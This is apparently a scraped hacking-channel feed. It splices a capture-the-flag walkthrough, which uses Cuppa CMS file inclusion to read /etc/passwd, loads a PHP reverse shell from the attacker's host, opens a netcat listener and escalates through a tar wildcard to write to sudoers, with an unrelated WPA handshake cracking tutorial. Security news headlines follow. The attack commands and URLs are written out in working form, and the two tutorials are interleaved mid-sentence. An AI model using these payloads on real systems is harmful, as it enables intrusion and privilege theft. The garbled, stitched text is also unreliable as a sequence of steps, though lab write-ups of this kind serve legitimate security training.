AAAAAweE/fzcvq4OnVIgo8WWcZlCf8El_WS3SpvIYQCLcBGAsYHQ/s16000/13.png ExploitationFrom our previous encounter with the Cuppa CMS in the Digital World Local Bravery Vulnhub Walkthrough, we know that it is vulnerable to a Local File Inclusion Attack. We open searchsploit and search for the exploit in CMS. After locating the exploit, we download the exploit text file to our local machine to take a closer look.searchsploit cuppahttps://1.bp.blogspot.com/-RrhkgqgMyWU/YMo71aAZMoI/AAAAAAAAweM/N5G37ZKGM_UndELq54hkZxMgvRiQNRLFQCLcBGAsYHQ/s16000/14.png Reading the text file for the exploit, we see that it is possible to read the Local files on the target machine by targeting the urlConfig parameter in the alertConfigField.php. The best part is that it doesn’t even warrant a login into the CMS.cat 25971.txt https://1.bp.blogspot.com/-atiDE34kgUg/YMo75QJblnI/AAAAAAAAweU/6neHNjucDNA4TBTDg_yIse6J3W-ZTA5_QCLcBGAsYHQ/s16000/15.png We craft the URL to suit the IP Address of our target machine and see that we can read the /etc/passwd file on the target machine.http://10.10.61.86/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwdhttps://1.bp.blogspot.com/-nkLaPmCQWDE/YMo79-r4SCI/AAAAAAAAweY/rtWo6XTt7VIWvBuAoBrXocCkwJ8PENkuACLcBGAsYHQ/s16000/16.png From the text file of the exploit and the result of searchsploit, we know that it is possible to include a remote file similarly. This means that the CMS is vulnerable to the Remote File Inclusion attack as well. This will help as we will use the php reverse shell file that is found in Kali Linux and point at it through the target machine to exploit the RFI to get a shell on the target machine. We edited the php reverse shell file to include our local (VPN) IP Address and then used the python HTTP server one-liner to host the file.nano php-reverse-shell.phphttps://1.bp.blogspot.com/-KO_0NmQG2ss/YMo8Cs_psDI/AAAAAAAAwec/NFZn6I3D7_Av2f-gFjgZTA_3JVtTB6HoQCLcBGAsYHQ/s16000/17.png We changed the IP address in the URL to accommodate the address of the now hosted php reverse shell. Before executing the exploit, we first need to create a Netcat listener on the port mentioned in the php reverse shell file. By default, it is 1234. Then execute the payload through the web browser as depicted below.http://10.10.61.86/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.10.110.53:8000/php-reverse-shell.phphttps://1.bp.blogspot.com/-1KJf12UL3dU/YMo8H3sbP5I/AAAAAAAAwek/2otsxEcCbE0x2NZ6ni7btvWORs93VPTggCLcBGAsYHQ/s16000/18.png As soon as the exploit is executed, we get a shell on our Netcat listener. We use the id command to check the user and group details and found that the shell that we have procured is for the user www-data.nc -lvp 1234https://1.bp.blogspot.com/-MzSgNcI12jk/YMo8OMYs5NI/AAAAAAAAwes/YQMVv8AYc1gRuydTkBRqKKmTSdRVCz57gCLcBGAsYHQ/s16000/19.png We move to the home directory to see what are various users created on the target machine. We see that there is a single user by the name of milesdyson. We found the user flag inside its home directory.cd /homehttps://1.bp.blogspot.com/-Qb-p4Peo5dM/YMo8V52RGSI/AAAAAAAAwe0/qjWNNuDbkbIBddS6Mn05IAa1TOz6OamTgCLcBGAsYHQ/s16000/20.png Privilege EscalationWhile looking for the user flag, we see that there is a backups directory inside the milesdyson home directory. Traversing inside, we see that it has a shell script by the name of the b[...]

___________________________
@hacking_Attack
@Hacking_Video

capx” script for this method.hccapx: It is a custom format specifically developed for hashcat for usage on WPA and WPA2.cap2hccapxwould convert the .cap file to .hccapx and hashcat would be able to bruteforce against it.cd /usr/share/hashcat-utils && ./cap2hccapx.bin /root/wifi.cap /root/wifi.hccapxhashcat -m 2500 wifi.hccapx dict.txt --show-m : hash type. 2500= WPA/WPA2 hashesUsing John The RipperThe same can be done using john the ripper too. We just need to convert it into a standard john hash file. This can be done using the hcxpcapng tool like:hcxpcapngtool --john hash.john wifi.cap A gorgeous thing to observe here is the contents of the capture file! Juicy, isn’t it? Let’s use john to crack the hash now:john --format=wpapsk --wordlist dict.txt hash.johnhttps://1.bp.blogspot.com/-orc6HmPena4/YMpBaPAMk0I/AAAAAAAAwgQ/aALSGIorxYcVn7DiF6UQdKb5bdEHEMh2gCLcBGAsYHQ/s16000/11.png Using JtR againFor all the pros who converted .cap to .hccapx, here’s the last method for you. You can use hccap2john script pre existing in your Kali to convert that .hccapx file to a John hash!/usr/sbin/hccap2john wifi.hccpax > wifihashjohn --wordlist=/root/dict.txt --format=wpapsk wifihashhttps://1.bp.blogspot.com/-D7uOLrYuHh8/YMpBxElkzUI/AAAAAAAAwgs/SCRcWSO7hfoJm7ROGrjQySCEgzFBz_soACLcBGAsYHQ/s16000/15.png We learnt various methods to brute force a captured handshake .cap file. The aim is to have multiple arrows in your quiver so if one technique fails you, you know how you can cross it over. Thanks for reading.___________________________
@hacking_Attack
@Hacking_Video

ackup.sh. Reading the shell file, we see that it contains a * wildcard. As covered by our Exploiting Wildcard for Privilege Escalation Article, we need to check the /etc/crontab file. We see that the backup shell script is scheduled to execute at intervals of 1 minute. cd backups There were multiple methods to get root from this vulnerability, we decided to use it to grant the sudoers permission instead of getting another shell. So, we moved to the directory that is being backed up and then created another shell script by the name of pavan.sh and entered the command inside it using echo. Then we proceeded to enter the checkpoint that will run the shell command when the tar will be backing up the directory. Using the sudo -l command we saw that the sudoers entry has been made. We just use the sudo bash command to get the root shell. We read the root flag to conclude the machine.cd /var/www/html /etc/sudoers' > pavan.sh "--checkpoint-action=exec=sh pavan.sh" --checkpoint=1https://1.bp.blogspot.com/-I6sxp9SVXTE/YMo8i1NssfI/AAAAAAAAwfA/br93DGIDEksbLVAobLY9JRRW7YYVAgKlACLcBGAsYHQ/s16000/22.png

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Wireless Penetration Testing: Password Cracking

In this article, we will be demonstrating the various methods that can be used for Password Cracking for performing Penetration Testing on Wireless Devices. Table of Content Introduction Simulation Mechanism Pre-requisites Initial Setup Password Cracking Aircrack-ng cowpatty Hashcat John The Ripper Introduction Brute-forcing is probably one of the most well-known

The post Wireless Penetration Testing: Password Cracking appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Russian National Convicted on Charges Related to Kelihos Botnet

Oleg Koshkin was arrested in 2019 and faces a maximum penalty of 15 years in prison, the DoJ reports.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Ransomware Operators' Strategies Evolve as Attacks Rise

Security researchers find ransomware operators rely less on email and more on criminal groups for initial access into target networks.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Ukraine Police Disrupt Cl0p Ransomware Operation

Growing list of similar actions in recent months may finally be scaring some operators into quitting, but threat is far from over, security experts say.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Biden Tells Putin Critical Infrastructure Sectors 'Off Limits' to Russian Hacking

President Joe Biden said he and Russian President Vladimir Putin agreed to discuss boundaries in cyber activity.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
On the iOS Multitasking implementation, Facebook Messenger, VoIP, and why actions matter more than…

https://cdn-images-1.medium.com/max/619/1*OEIt71ZP4B9pLPZwpIfkVg.png
Some time ago (about 5 years, I do believe), I read something I didn’t forget. I don’t remember exactly where it was, but the general idea…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
WAF: Web Application Firewalls

https://cdn-images-1.medium.com/max/791/1*_gHw6hGIzpQvprVAPFO25A.png
How do they even work?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Un viaje en la evasión de antivirus

https://cdn-images-1.medium.com/max/1268/1*_cFogyFB8bfZ1ty_NN_aLw.jpeg
Inteligente no es el que sabe mucho, sino el que sabe dónde buscar.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Python Cybersecurity 101 — Build your own tools in 10 min

https://cdn-images-1.medium.com/max/1600/1*ZbBTJMpo_IjVkeH8Vm7ylA.png
Are you a Python programmer or have you just started your career path of becoming a Cybersecurity expert? Then this article can provide…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video